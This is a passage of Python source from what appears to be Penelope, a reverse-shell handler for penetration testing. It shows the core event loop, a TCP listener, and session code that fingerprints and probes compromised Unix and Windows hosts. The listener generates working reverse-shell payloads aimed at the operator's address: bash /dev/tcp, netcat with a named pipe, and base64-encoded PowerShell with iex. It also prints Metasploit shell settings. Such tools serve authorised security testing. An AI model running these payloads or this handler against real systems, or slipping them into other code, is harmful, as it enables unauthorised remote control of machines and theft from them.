self.queue.get_nowait() 1507 | amount += 1 1508 | except queue.Empty: 1509 | break 1510 | os.read(self._out, amount) 1511 | 1512 | 1513 | class Core: 1514 | 1515 | def __init__(self): 1516 | self.started = False 1517 | 1518 | self.control = ControlQueue() 1519 | self.rlist = [self.control] 1520 | self.wlist = [] 1521 | 1522 | self.attached_session = None 1523 | self.session_wait_host = None 1524 | self.session_wait = queue.LifoQueue() 1525 | 1526 | self.lock = threading.Lock() # TO REMOVE 1527 | 1528 | self.listenerID = 0 1529 | self.listener_lock = threading.Lock() 1530 | self.sessionID = 0 1531 | self.session_lock = threading.Lock() 1532 | self.fileserverID = 0 1533 | self.fileserver_lock = threading.Lock() 1534 | 1535 | self.hosts = defaultdict(list) 1536 | self.sessions = {} 1537 | self.listeners = {} 1538 | self.fileservers = {} 1539 | self.forwardings = {} 1540 | 1541 | self.output_line_buffer = LineBuffer(1) 1542 | self.wait_input = False 1543 | 1544 | def __getattr__(self, name): 1545 | 1546 | if name == 'new_listenerID': 1547 | with self.listener_lock: 1548 | self.listenerID += 1 1549 | return self.listenerID 1550 | 1551 | elif name == 'new_sessionID': 1552 | with self.session_lock: 1553 | self.sessionID += 1 1554 | return self.sessionID 1555 | 1556 | elif name == 'new_fileserverID': 1557 | with self.fileserver_lock: 1558 | self.fileserverID += 1 1559 | return self.fileserverID 1560 | else: 1561 | raise AttributeError(name) 1562 | 1563 | @property 1564 | def threads(self): 1565 | return [thread.name for thread in threading.enumerate()] 1566 | 1567 | def start(self): 1568 | self.started = True 1569 | threading.Thread(target=self.loop, name="Core").start() 1570 | 1571 | def loop(self): 1572 | 1573 | while self.started: 1574 | readables, writables, _ = select(self.rlist, self.wlist, []) 1575 | 1576 | for readable in readables: 1577 | 1578 | # The control queue 1579 | if readable is self.control: 1580 | command = self.control.get() 1581 | if command: 1582 | logger.debug(f"About to execute {command}") 1583 | else: 1584 | logger.debug(f"Core break") 1585 | try: 1586 | exec(command) 1587 | except KeyError: # TODO 1588 | logger.debug("The session does not exist anymore") 1589 | break 1590 | 1591 | # The listeners 1592 | elif readable.__class__ is TCPListener: 1593 | _socket, endpoint = readable.socket.accept() 1594 | thread_name = f"NewCon{endpoint}" 1595 | logger.debug(f"New thread: {thread_name}") 1596 | threading.Thread(target=Session, args=(_socket, *endpoint, readable), 1597 | name=thread_name).start() 1598 | 1599 | # STDIN 1600 | elif readable is sys.stdin: 1601 | if self.attached_session: 1602 | session = self.attached_session 1603 | if session.readline: 1604 | continue 1605 | 1606 | data = os.read(sys.stdin.fileno(), options.network_buffer_size) 1607 | 1608 | if session.subtype == 'cmd': 1609 | self._cmd = data 1610 | 1611 | if data == options.escape['sequence']: 1612 | if session.alternate_buffer: 1613 | logger.error("(!) Exit the current alternate buffer program first") 1614 | else: 1615 | session.detach() 1616 | else: 1617 | if session.type == 'Basic' and not hasattr(self, 'readline'): # TODO # need to see 1618 | session.record(data, _input=not session.interactive) 1619 | 1620 | elif session.agent: 1621 | data = Messenger.message(Messenger.SHELL, data) 1622 | 1623 | session.send(data, stdin=True) 1624 | else: 1625 | logger.error("You shouldn't see this error; Please report it") 1626 | 1627 | # The sessions 1628 | elif readable.__class__ is Session: 1629 | try: 1630 | data = readable.socket.recv(options.network_buffer_size) 1631 | if not data: 1632 | raise OSError 1633 | 1634 | except OSError: 1635 | logger.debug(f"Died while reading") 1636 | readable.kill() 1637 | threading.Thread(target=readable.maintain).start() 1638 | break 1639 | 1640 | target = readable.shell_response_buf\ 1641 | if not readable.subchannel.active\ 1642 | and readable.subchannel.allow_receive_shell_data\ 1643 | else readable.subchannel 1644 | 1645 | if readable.agent: 1646 | for _type, _value in readable.messenger.feed(data): 1647 | #print(_type, _value) 1648 | if _type == Messenger.SHELL: 1649 | if not _value: # TEMP 1650 | readable.kill() 1651 | threading.Thread(target=readable.maintain).start() 1652 | break 1653 | target.write(_value) 1654 | 1655 | elif _type == Messenger.STREAM: 1656 | stream_id, data = _value[:Messenger.STREAM_BYTES], _value[Messenger.STREAM_BYTES:] 1657 | #print((repr(stream_id), repr(data))) 1658 | try: 1659 | readable.streams[stream_id] << data 1660 | except (OSError, KeyError): 1661 | logger.debug(f"Cannot write to stream; Stream <{stream_id}> died prematurely") 1662 | else: 1663 | target.write(data) 1664 | 1665 | shell_output = readable.shell_response_buf.getvalue() # TODO 1666 | if shell_output: 1667 | if readable.is_attached: 1668 | stdout(shell_output) 1669 | 1670 | readable.record(shell_output) 1671 | 1672 | if b'\x1b[?1049h' in data: 1673 | readable.alternate_buffer = True 1674 | 1675 | if b'\x1b[?1049l' in data: 1676 | readable.alternate_buffer = False 1677 | #if readable.subtype == 'cmd' and self._cmd == data: 1678 | # data, self._cmd = b'', b'' # TODO 1679 | 1680 | readable.shell_response_buf.seek(0) 1681 | readable.shell_response_buf.truncate(0) 1682 | 1683 | for writable in writables: 1684 | with writable.wlock: 1685 | try: 1686 | sent = writable.socket.send(writable.outbuf.getvalue()) 1687 | except OSError: 1688 | logger.debug(f"Died while writing") 1689 | writable.kill() 1690 | threading.Thread(target=writable.maintain).start() 1691 | break 1692 | 1693 | writable.outbuf.seek(sent) 1694 | remaining = writable.outbuf.read() 1695 | writable.outbuf.seek(0) 1696 | writable.outbuf.truncate() 1697 | writable.outbuf.write(remaining) 1698 | if not remaining: 1699 | self.wlist.remove(writable) 1700 | 1701 | def stop(self): 1702 | options.maintain = 0 1703 | 1704 | if self.sessions: 1705 | logger.warning(f"Killing sessions...") 1706 | for session in reversed(list(self.sessions.copy().values())): 1707 | session.kill() 1708 | 1709 | for listener in self.listeners.copy().values(): 1710 | listener.stop() 1711 | 1712 | for fileserver in self.fileservers.copy().values(): 1713 | fileserver.stop() 1714 | 1715 | self.control << 'self.started = False' 1716 | 1717 | menu.stop = True 1718 | menu.cmdqueue.append("") 1719 | menu.active.set() 1720 | 1721 | def handle_bind_errors(func): 1722 | @wraps(func) 1723 | def wrapper(*args, **kwargs): 1724 | try: 1725 | func(*args, **kwargs) 1726 | return True 1727 | 1728 | except PermissionError: 1729 | port = args[2] 1730 | logger.error(f"Cannot bind to port {port}: Insufficient privileges") 1731 | print(dedent( 1732 | f""" 1733 | {paint('Workarounds:')} 1734 | 1735 | 1) {paint('Port forwarding').UNDERLINE} (Run the Listener on a non-privileged port e.g 4444) 1736 | sudo iptables -t nat -A PREROUTING -p tcp --dport {port} -j REDIRECT --to-port 4444 1737 | {paint('or').white} 1738 | sudo nft add rule ip nat prerouting tcp dport {port} redirect to 4444 1739 | {paint('then').white} 1740 | sudo iptables -t nat -D PREROUTING -p tcp --dport {port} -j REDIRECT --to-port 4444 1741 | {paint('or').white} 1742 | sudo nft delete rule ip nat prerouting tcp dport {port} redirect to 4444 1743 | 1744 | 2) {paint('Setting CAP_NET_BIND_SERVICE capability').UNDERLINE} 1745 | sudo setcap 'cap_net_bind_service=+ep' {os.path.realpath(sys.executable)} 1746 | ./penelope.py {port} 1747 | sudo setcap 'cap_net_bind_service=-ep' {os.path.realpath(sys.executable)} 1748 | 1749 | 3) {paint('SUDO').UNDERLINE} (The {__program__.title()}'s directory will change to /root/.penelope) 1750 | sudo ./penelope.py {port} 1751 | """)) 1752 | 1753 | except socket.gaierror: 1754 | logger.error("Cannot resolve hostname") 1755 | 1756 | except OSError as e: 1757 | if e.errno == EADDRINUSE: 1758 | logger.error("The port is currently in use") 1759 | elif e.errno == EADDRNOTAVAIL: 1760 | logger.error("Cannot listen on the requested address") 1761 | else: 1762 | logger.error(f"OSError: {str(e)}") 1763 | 1764 | except OverflowError: 1765 | logger.error("Invalid port number. Valid numbers: 1-65535") 1766 | 1767 | except ValueError: 1768 | logger.error("Port number must be numeric") 1769 | 1770 | return False 1771 | return wrapper 1772 | 1773 | def Connect(host, port): 1774 | 1775 | try: 1776 | port = int(port) 1777 | _socket = socket.socket() 1778 | _socket.settimeout(5) 1779 | _socket.connect((host, port)) 1780 | _socket.settimeout(None) 1781 | 1782 | except ConnectionRefusedError: 1783 | logger.error(f"Connection refused... ({host}:{port})") 1784 | 1785 | except OSError: 1786 | logger.error(f"Cannot reach {host}") 1787 | 1788 | except OverflowError: 1789 | logger.error("Invalid port number. Valid numbers: 1-65535") 1790 | 1791 | except ValueError: 1792 | logger.error("Port number must be numeric") 1793 | 1794 | else: 1795 | if not core.started: 1796 | core.start() 1797 | logger.info(f"Connected to {paint(host).blue}:{paint(port).red} 🎯") 1798 | session = Session(_socket, host, port) 1799 | if session: 1800 | return True 1801 | 1802 | return False 1803 | 1804 | class TCPListener: 1805 | 1806 | def __init__(self, host=None, port=None): 1807 | self.host = host or options.default_interface 1808 | self.host = Interfaces().translate(self.host) 1809 | self.port = port or options.default_listener_port 1810 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 1811 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 1812 | self.socket.setblocking(False) 1813 | self.caller = caller() 1814 | 1815 | if self.bind(self.host, self.port): 1816 | self.start() 1817 | 1818 | def __str__(self): 1819 | return f"TCPListener({self.host}:{self.port})" 1820 | 1821 | def __bool__(self): 1822 | return hasattr(self, 'id') 1823 | 1824 | @handle_bind_errors 1825 | def bind(self, host, port): 1826 | self.port = int(port) 1827 | self.socket.bind((host, self.port)) 1828 | 1829 | def fileno(self): 1830 | return self.socket.fileno() 1831 | 1832 | def start(self): 1833 | specific = "" 1834 | if self.host == '0.0.0.0': 1835 | specific = paint('→ ').cyan + str(paint(' • ').cyan).join([str(paint(ip).cyan) for ip in Interfaces().list.values()]) 1836 | 1837 | logger.info(f"Listening for reverse shells on {paint(self.host).blue}{paint(':').red}{paint(self.port).red} {specific}") 1838 | 1839 | self.socket.listen(5) 1840 | 1841 | self.id = core.new_listenerID 1842 | core.rlist.append(self) 1843 | core.listeners[self.id] = self 1844 | if not core.started: 1845 | core.start() 1846 | 1847 | core.control << "" # TODO 1848 | 1849 | if options.payloads: 1850 | print(self.payloads) 1851 | 1852 | def stop(self): 1853 | 1854 | if threading.current_thread().name != 'Core': 1855 | core.control << f'self.listeners[{self.id}].stop()' 1856 | return 1857 | 1858 | core.rlist.remove(self) 1859 | del core.listeners[self.id] 1860 | 1861 | try: 1862 | self.socket.shutdown(socket.SHUT_RDWR) 1863 | except OSError: 1864 | pass 1865 | 1866 | self.socket.close() 1867 | 1868 | if options.single_session and core.sessions and not self.caller == 'spawn': 1869 | logger.info(f"Stopping {self} due to Single Session mode") 1870 | else: 1871 | logger.warning(f"Stopping {self}") 1872 | 1873 | @property 1874 | def payloads(self): 1875 | interfaces = Interfaces().list 1876 | presets = [ 1877 | "(bash >& /dev/tcp/{}/{} 0>&1) &", 1878 | "(rm /tmp/_;mkfifo /tmp/_;cat /tmp/_|sh 2>&1|nc {} {} >/tmp/_) &", 1879 | '$client = New-Object System.Net.Sockets.TCPClient("{}",{});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()' # Taken from revshells.com 1880 | ] 1881 | 1882 | output = [str(paint(self).white_MAGENTA)] 1883 | output.append("") 1884 | ips = [self.host] 1885 | 1886 | if self.host == '0.0.0.0': 1887 | ips = [ip for ip in interfaces.values()] 1888 | 1889 | for ip in ips: 1890 | iface_name = {v: k for k, v in interfaces.items()}.get(ip) 1891 | output.extend((f'➤ {str(paint(iface_name).GREEN)} → {str(paint(ip).cyan)}:{str(paint(self.port).red)}', '')) 1892 | output.append(str(paint("Bash TCP").UNDERLINE)) 1893 | output.append(f"printf {base64.b64encode(presets[0].format(ip, self.port).encode()).decode()}|base64 -d|bash") 1894 | output.append("") 1895 | output.append(str(paint("Netcat + named pipe").UNDERLINE)) 1896 | output.append(f"printf {base64.b64encode(presets[1].format(ip, self.port).encode()).decode()}|base64 -d|sh") 1897 | output.append("") 1898 | output.append(str(paint("Powershell").UNDERLINE)) 1899 | output.append("cmd /c powershell -e " + base64.b64encode(presets[2].format(ip, self.port).encode("utf-16le")).decode()) 1900 | 1901 | output.extend(dedent(f""" 1902 | {paint('Metasploit').UNDERLINE} 1903 | set PAYLOAD generic/shell_reverse_tcp 1904 | set LHOST {ip} 1905 | set LPORT {self.port} 1906 | set DisablePayloadHandler true 1907 | """).split("\n")) 1908 | 1909 | output.append("─" * 80) 1910 | return '\n'.join(output) 1911 | 1912 | 1913 | class Channel: 1914 | 1915 | def __init__(self, raw=False, expect = []): 1916 | self._read, self._write = os.pipe() 1917 | self.can_use = True 1918 | self.active = False 1919 | self.allow_receive_shell_data = True 1920 | self.control = ControlQueue() 1921 | 1922 | def fileno(self): 1923 | return self._read 1924 | 1925 | def read(self): 1926 | return os.read(self._read, options.network_buffer_size) 1927 | 1928 | def write(self, data): 1929 | os.write(self._write, data) 1930 | 1931 | 1932 | class Session: 1933 | 1934 | def __init__(self, _socket, target, port, listener=None): 1935 | print("\a", flush=True, end='') 1936 | 1937 | self.socket = _socket 1938 | self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) 1939 | self.socket.setblocking(False) 1940 | self.target, self.port = target, port 1941 | self.ip = _socket.getpeername()[0] 1942 | self._host, self._port = self.socket.getsockname() 1943 | self.listener = listener 1944 | self.source = 'reverse' if listener else 'bind' 1945 | 1946 | self.id = None 1947 | self.OS = None 1948 | self.type = 'Basic' 1949 | self.subtype = None 1950 | self.interactive = None 1951 | self.echoing = None 1952 | self.pty_ready = None 1953 | self.readline = None 1954 | 1955 | self.version = None 1956 | 1957 | self.prompt = None 1958 | self.new = True 1959 | 1960 | self.last_lines = LineBuffer(options.attach_lines) 1961 | self.lock = threading.Lock() 1962 | self.wlock = threading.Lock() 1963 | 1964 | self.outbuf = io.BytesIO() 1965 | self.shell_response_buf = io.BytesIO() 1966 | 1967 | self.tasks = {"portfwd":[], "scripts":[]} 1968 | self.subchannel = Channel() 1969 | self.latency = None 1970 | 1971 | self.alternate_buffer = False 1972 | self.agent = False 1973 | self.messenger = Messenger(io.BytesIO) 1974 | 1975 | self.streamID = 0 1976 | self.streams = dict() 1977 | self.stream_lock = threading.Lock() 1978 | self.stream_code = Messenger.STREAM_CODE 1979 | self.streams_max = 2 ** (8 * Messenger.STREAM_BYTES) 1980 | 1981 | self.shell_pid = None 1982 | self.user = None 1983 | self.tty = None 1984 | 1985 | self._bin = defaultdict(lambda: "") 1986 | self._tmp = None 1987 | self._cwd = None 1988 | self._can_deploy_agent = None 1989 | 1990 | self.bypass_control_session = False 1991 | self.upgrade_attempted = False 1992 | 1993 | core.rlist.append(self) 1994 | 1995 | if self.determine(): 1996 | logger.debug(f"OS: {self.OS}") 1997 | logger.debug(f"Type: {self.type}") 1998 | logger.debug(f"Subtype: {self.subtype}") 1999 | logger.debug(f"Interactive: {self.interactive}") 2000 | logger.debug(f"Echoing: {self.echoing}") 2001 | 2002 | self.get_system_info() 2003 | 2004 | if not self.hostname: 2005 | if target == self.ip: 2006 | try: 2007 | self.hostname = socket.gethostbyaddr(target)[0] 2008 | 2009 | except socket.herror: 2010 | self.hostname = '' 2011 | logger.debug(f"Cannot resolve hostname") 2012 | else: 2013 | self.hostname = target 2014 | 2015 | hostname = self.hostname 2016 | c1 = '~' if hostname else '' 2017 | ip = self.ip 2018 | c2 = '-' 2019 | system = self.system 2020 | if not system: 2021 | system = self.OS.upper() 2022 | if self.arch: 2023 | system += '-' + self.arch 2024 | 2025 | self.name = f"{hostname}{c1}{ip}{c2}{system}" 2026 | self.name_colored = ( 2027 | f"{paint(hostname).white_BLUE}{paint(c1).white_DIM}" 2028 | f"{paint(ip).white_RED}{paint(c2).white_DIM}" 2029 | f"{paint(system).cyan}" 2030 | ) 2031 | 2032 | self.id = core.new_sessionID 2033 | core.hosts[self.name].append(self) 2034 | core.sessions[self.id] = self 2035 | 2036 | if self.name == core.session_wait_host: 2037 | core.session_wait.put(self.id) 2038 | 2039 | logger.info( 2040 | f"Got {self.source} shell from " 2041 | f"{self.name_colored}{paint().green} 😍️ " 2042 | f"Assigned SessionID {paint('<' + str(self.id) + '>').yellow}" 2043 | ) 2044 | 2045 | self.directory = options.basedir / self.name 2046 | if not options.no_log: 2047 | self.directory.mkdir(parents=True, exist_ok=True) 2048 | self.logpath = self.directory / f'{datetime.now().strftime("%Y_%m_%d-%H_%M_%S-%f")[:-3]}.log' 2049 | self.histfile = self.directory / "readline_history" 2050 | self.logfile = open(self.logpath, 'ab', buffering=0) 2051 | if not options.no_timestamps: 2052 | self.logfile.write(str(paint(datetime.now().strftime("%Y-%m-%d %H:%M:%S: ")).magenta).encode()) 2053 | 2054 | for module in modules().values(): 2055 | if module.enabled and module.on_session_start: 2056 | module.run(self) 2057 | 2058 | self.maintain() 2059 | 2060 | if options.single_session and self.listener: 2061 | self.listener.stop() 2062 | 2063 | if hasattr(listener_menu, 'active') and listener_menu.active: 2064 | os.close(listener_menu.control_w) 2065 | listener_menu.finishing.wait() 2066 | 2067 | attach_conditions = [ 2068 | # Is a reverse shell and the Menu is not active and reached the maintain value 2069 | self.listener and not menu.active.is_set() and len(core.hosts[self.name]) == options.maintain, 2070 | 2071 | # Is a bind shell and is not spawned from the Menu 2072 | not self.listener and not menu.active.is_set(), 2073 | 2074 | # Is a bind shell and is spawned from the connect Menu command 2075 | not self.listener and menu.active.is_set() and menu.lastcmd.startswith('connect') 2076 | ] 2077 | 2078 | # If no other session is attached 2079 | if core.attached_session is None: 2080 | # If auto-attach is enabled 2081 | if not options.no_attach: 2082 | if any(attach_conditions): 2083 | # Attach the newly created session 2084 | self.attach() 2085 | else: 2086 | if self.id == 1: 2087 | menu.set_id(self.id) 2088 | if not menu.active.is_set(): 2089 | menu.show() 2090 | else: 2091 | self.kill() 2092 | return 2093 | 2094 | def __bool__(self): 2095 | return self.socket.fileno() != -1 # and self.OS) 2096 | 2097 | def __repr__(self): 2098 | return ( 2099 | f"ID: {self.id} -> {__class__.__name__}({self.name}, {self.OS}, {self.type}, " 2100 | f"interactive={self.interactive}, echoing={self.echoing})" 2101 | ) 2102 | 2103 | def __getattr__(self, name): 2104 | if name == 'new_streamID': 2105 | with self.stream_lock: 2106 | if len(self.streams) == self.streams_max: 2107 | logger.error("Too many open streams...") 2108 | return None 2109 | 2110 | self.streamID += 1 2111 | self.streamID = self.streamID % self.streams_max 2112 | while struct.pack(self.stream_code, self.streamID) in self.streams: 2113 | self.streamID += 1 2114 | self.streamID = self.streamID % self.streams_max 2115 | 2116 | _stream_ID_hex = struct.pack(self.stream_code, self.streamID) 2117 | self.streams[_stream_ID_hex] = Stream(_stream_ID_hex, self) 2118 | 2119 | return self.streams[_stream_ID_hex] 2120 | else: 2121 | raise AttributeError(name) 2122 | 2123 | def fileno(self): 2124 | return self.socket.fileno() 2125 | 2126 | @property 2127 | def can_deploy_agent(self): 2128 | if self._can_deploy_agent is None: 2129 | if Path(self.directory / ".noagent").exists(): 2130 | self._can_deploy_agent = False 2131 | else: 2132 | _bin = self.bin['python3'] or self.bin['python'] 2133 | if _bin: 2134 | version = self.exec(f"{_bin} -V 2>&1 || {_bin} --version 2>&1", value=True) 2135 | try: 2136 | major, minor, micro = re.search(r"Python (\d+)\.(\d+)(?:\.(\d+))?", version).groups() 2137 | except: 2138 | self._can_deploy_agent = False 2139 | return self._can_deploy_agent 2140 | self.remote_python_version = (int(major), int(minor), int(micro)) 2141 | if self.remote_python_version >= (2, 3): # Python 2.2 lacks: tarfile, os.walk, yield 2142 | self._can_deploy_agent = True 2143 | else: 2144 | self._can_deploy_agent = False 2145 | else: 2146 | self._can_deploy_agent = False 2147 | 2148 | return self._can_deploy_agent 2149 | 2150 | @property 2151 | def spare_control_sessions(self): 2152 | return [session for session in self.control_sessions if session is not self] 2153 | 2154 | @property 2155 | def need_control_sessions(self): 2156 | return [session for session in core.hosts[self.name] if session.need_control_session] 2157 | 2158 | @property 2159 | def need_control_session(self): 2160 | return all([self.OS == 'Unix', self.type == 'PTY', not self.agent]) 2161 | 2162 | @property 2163 | def control_sessions(self): 2164 | return [session for session in core.hosts[self.name] if not session.need_control_session] 2165 | 2166 | @property 2167 | def control_session(self): 2168 | if self.need_control_session: 2169 | for session in core.hosts[self.name]: 2170 | if not session.need_control_session: 2171 | return session 2172 | return None # TODO self.spawn() 2173 | return self 2174 | 2175 | def get_system_info(self): 2176 | self.hostname = self.system = self.arch = '' 2177 | 2178 | if self.OS == 'Unix': 2179 | if not self.bin['uname']: 2180 | return False 2181 | 2182 | self.bypass_control_session = True 2183 | response = self.exec( 2184 | r'printf "$({0} -n)\t' 2185 | r'$({0} -s)\t' 2186 | r'$({0} -m 2>/dev/null|grep -v unknown||{0} -p 2>/dev/null)"'.format(self.bin['uname']), 2187 | agent_typing=True, 2188 | value=True 2189 | ) 2190 | self.bypass_control_session = False 2191 | 2192 | try: 2193 | self.hostname, self.system, self.arch = response.split("\t") 2194 | except: 2195 | return False 2196 | 2197 | elif self.OS == 'Windows': 2198 | self.systeminfo = self.exec('systeminfo', value=True) 2199 | if not self.systeminfo: 2200 | return False 2201 | 2202 | def extract_value(pattern): 2203 | match = re.search(pattern, self.systeminfo, re.MULTILINE) 2204 | return match.group(1).replace(" ", "_").rstrip() if match else '' 2205 | 2206 | self.hostname = extract_value(r"^Host Name:\s+(.+)") 2207 | self.system = extract_value(r"^OS Name:\s+(.+)") 2208 | self.arch = extract_value(r"^System Type:\s+(.+)") 2209 | 2210 | return True 2211 | 2212 | def get_shell_info(self, silent=False): 2213 | self.bypass_control_session = True 2214 | self.shell_pid = self.get_shell_pid() 2215 | self.user = self.get_user() 2216 | if self.OS == 'Unix': 2217 | self.tty = self.get_tty(silent=silent) 2218 | self.bypass_control_session = False 2219 | 2220 | def get_shell_pid(self): 2221 | if self.OS == 'Unix': 2222 | response = self.exec("echo $$", agent_typing=True, value=True) 2223 | 2224 | elif self.OS == 'Windows': 2225 | return None # TODO 2226 | 2227 | if not (isinstance(response, str) and response.isnumeric()): 2228 | logger.error(f"Cannot get the PID of the shell. Response:\r\n{paint(response).white}") 2229 | return False 2230 | return response 2231 | 2232 | def get_user(self): 2233 | if self.OS == 'Unix': 2234 | response = self.exec("echo \"$(id -un)($(id -u))\"", agent_typing=True, value=True) 2235 | 2236 | elif self.OS == 'Windows': 2237 | if self.type == 'PTY': 2238 | return None # TODO 2239 | response = self.exec("whoami", value=True) 2240 | 2241 | return response or '' 2242 | 2243 | def get_tty(self, silent=False): 2244 | response = self.exec("tty", agent_typing=True, value=True) # TODO check binary 2245 | if not (isinstance(response, str) and response.startswith('/')): 2246 | if not silent: 2247 | logger.error(f"Cannot get the TTY of the shell. Response:\r\n{paint(response).white}") 2248 | return False 2249 | return response 2250 | 2251 | @property 2252 | def cwd(self): 2253 | if self._cwd is None: 2254 | if self.OS == 'Unix': 2255 | cmd = ( 2256 | f"readlink /proc/{self.shell_pid}/cwd 2>/dev/null || " 2257 | f"lsof -p {self.shell_pid} 2>/dev/null | awk '$4==\"cwd\" {{print $9;exit}}' | grep . || " 2258 | f"procstat -f {self.shell_pid} 2>/dev/null | awk '$3==\"cwd\" {{print $NF;exit}}' | grep . || " 2259 | f"pwdx {self.shell_pid} 2>/dev/null | awk '{{print $2;exit}}' | grep ." 2260 | ) 2261 | self._cwd = self.control_session.exec(cmd, value=True) 2262 | elif self.OS == 'Windows': 2263 | self._cwd = self.exec("cd", force_cmd=True, value=True) 2264 | return self._cwd or '' 2265 | 2266 | @property 2267 | def is_attached(self): 2268 | return core.attached_session is self 2269 | 2270 | @property 2271 | def bin(self): 2272 | if not self._bin: 2273 | try: 2274 | if self.OS == "Unix": 2275 | binaries = [ 2276 | "sh", "bash", "python", "python3", "uname", 2277 | "script", "socat", "tty", "echo", "base64", "wget", 2278 | "curl", "tar", "rm", "stty", "setsid", "find", "nc" 2279 | ] 2280 | response = self.exec(f'for i in {" ".join(binaries)}; do which $i 2>/dev/null || echo;done') 2281 | if response: 2282 | self._bin = dict(zip(binaries, response.decode().splitlines())) 2283 | 2284 | missing = [b for b in binaries if not os.path.isabs(self._bin[b])] 2285 | 2286 | if missing: 2287 | logger.debug(paint(f"We didn't find the binaries: {missing}. Trying another method").red) 2288 | response = self.exec( 2289 | f'for bin in {" ".join(missing)}; do for dir in ' 2290 | f'{" ".join(LINUX_PATH.split(":"))}; do _bin=$dir/$bin; ' # TODO PATH 2291 | 'test -f $_bin && break || unset _bin; done; echo $_bin; done' 2292 | ) 2293 | if response: 2294 | self._bin.update(dict(zip(missing, response.decode().splitlines()))) 2295 | 2296 | for binary in options.no_bins: 2297 | self._bin[binary] = None 2298 | 2299 | result = "\n".join([f"{b}: {self._bin[b]}" for b in binaries]) 2300 | logger.debug(f"Available binaries on target: \n{paint(result).red}") 2301 | except: 2302 | pass 2303 | 2304 | return self._bin 2305 | 2306 | @property 2307 | def tmp(self): 2308 | if self._tmp is None: 2309 | if self.OS == "Unix": 2310 | logger.debug(f"Trying to find a writable directory on target") 2311 | tmpname = rand(10) 2312 | common_dirs = ("/dev/shm", "/tmp", "/var/tmp") 2313 | for directory in common_dirs: 2314 | if not self.exec(f'echo {tmpname} > {directory}/{tmpname}', value=True): 2315 | self.exec(f'rm {directory}/{tmpname}') 2316 | self._tmp = directory 2317 | break 2318 | else: 2319 | candidate_dirs = self.exec(f'find / -type d -writable 2>/dev/null') 2320 | if candidate_dirs: 2321 | for directory in candidate_dirs.decode().splitlines(): 2322 | if directory in common_dirs: 2323 | continue 2324 | if not self.exec(f'echo {tmpname} > {directory}/{tmpname}', value=True): 2325 | self.exec(f'rm {directory}/{tmpname}') 2326 | self._tmp = directory 2327 | break 2328 | if not self._tmp: 2329 | self._tmp = False 2330 | logger.warning("Cannot find writable directory on target...") 2331 | else: 2332 | logger.debug(f"Available writable directory on target: {paint(self._tmp).RED}") 2333 | 2334 | elif self.OS == "Windows": 2335 | self._tmp = self.exec("echo %TEMP%", force_cmd=True, value=True) 2336 | 2337 | return self._tmp 2338 | 2339 | def agent_only(func): 2340 | @wraps(func) 2341 | def newfunc(self, *args, **kwargs): 2342 | if not self.agent: 2343 | if not self.upgrade_attempted and self.can_deploy_agent: 2344 | logger.warning("This can only run in python agent mode. I am trying to deploy the agent") 2345 | self.upgrade() 2346 | if not self.agent: 2347 | logger.error("Failed to deploy agent") 2348 | return False 2349 | else: 2350 | logger.error("This can only run in python agent mode") 2351 | return False 2352 | return func(self, *args, **kwargs) 2353 | return newfunc 2354 | 2355 | def send(self, data, stdin=False): 2356 | with self.wlock: #TODO 2357 | if not self in core.rlist: 2358 | return False 2359 | 2360 | self.outbuf.seek(0, io.SEEK_END) 2361 | _len = self.outbuf.write(data) 2362 | 2363 | self.subchannel.allow_receive_shell_data = True 2364 | 2365 | if self not in core.wlist: 2366 | core.wlist.append(self) 2367 | if not stdin: 2368 | core.control << "" 2369 | return _len 2370 | 2371 | def record(self, data, _input=False): 2372 | self.last_lines << data 2373 | if not options.no_log: 2374 | self.log(data, _input) 2375 | 2376 | def log(self, data, _input=False): 2377 | #data=re.sub(rb'(\x1b\x63|\x1b\x5b\x3f\x31\x30\x34\x39\x68|\x1b\x5b\x3f\x31\x30\x34\x39\x6c)', b'', data) 2378 | data = re.sub(rb'\x1b\x63', b'', data) # Need to include all Clear escape codes 2379 | 2380 | if not options.no_timestamps: 2381 | timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S: ") #TEMP 2382 | if not options.no_colored_timestamps: 2383 | timestamp = paint(timestamp).magenta 2384 | data = re.sub(rb'\r\n|\r|\n|\v|\f', rf"\g<0>{timestamp}".encode(), data) 2385 | try: 2386 | if _input: 2387 | self.logfile.write(bytes(paint('ISSUED ==>').GREEN + ' ', encoding='utf8')) 2388 | self.logfile.write(data) 2389 | 2390 | except ValueError: 2391 | logger.debug("The session killed abnormally") 2392 | 2393 | def determine(self, path=False): 2394 | 2395 | var_name1, var_name2, var_value1, var_value2 = (rand(4) for _ in range(4)) 2396 | 2397 | def expect(data): 2398 | try: 2399 | data = data.decode() 2400 | except: 2401 | return False 2402 | if var_value1 + var_value2 in data: 2403 | return True 2404 | elif f"'{var_name1}' is not recognized as an internal or external command" in data: 2405 | return re.search('batch file.*>', data, re.DOTALL) 2406 | elif f"The term '{var_name1}={var_value1}' is not recognized as the name of a cmdlet" in data: 2407 | return re.search('or operable.*>', data, re.DOTALL) 2408 | 2409 | response = self.exec( 2410 | f" {var_name1}={var_value1} {var_name2}={var_value2}; echo ${var_name1}${var_name2}\n", 2411 | raw=True, 2412 | expect_func=expect 2413 | ) 2414 | if response: 2415 | response = response.decode() 2416 | 2417 | if var_value1 + var_value2 in response: 2418 | self.OS = 'Unix' 2419 | self.interactive = not response == var_value1 + var_value2 + "\n" 2420 | self.echoing = f"echo ${var_name1}${var_name2}" in response 2421 | self.prompt = response.split(var_value1 + var_value2)[-1].lstrip().encode() 2422 | 2423 | elif f"'{var_name1}' is not recognized as an internal or external command" in response: 2424 | self.OS = 'Windows' 2425 | self.type = 'Basic' 2426 | self.subtype = 'cmd' 2427 | self.interactive = True 2428 | self.echoing = True 2429 | self.prompt = response.splitlines()[-1].encode() 2430 | self.version = re.search(r"Microsoft Windows \[Version (.*)\]", response, re.DOTALL)[1] 2431 | 2432 | elif f"The term '{var_name1}={var_value1}' is not recognized as the name of a cmdlet" in response: 2433 | self.OS = 'Windows' 2434 | self.type = 'Basic' 2435 | self.subtype = 'psh' 2436 | self.interactive = True 2437 | 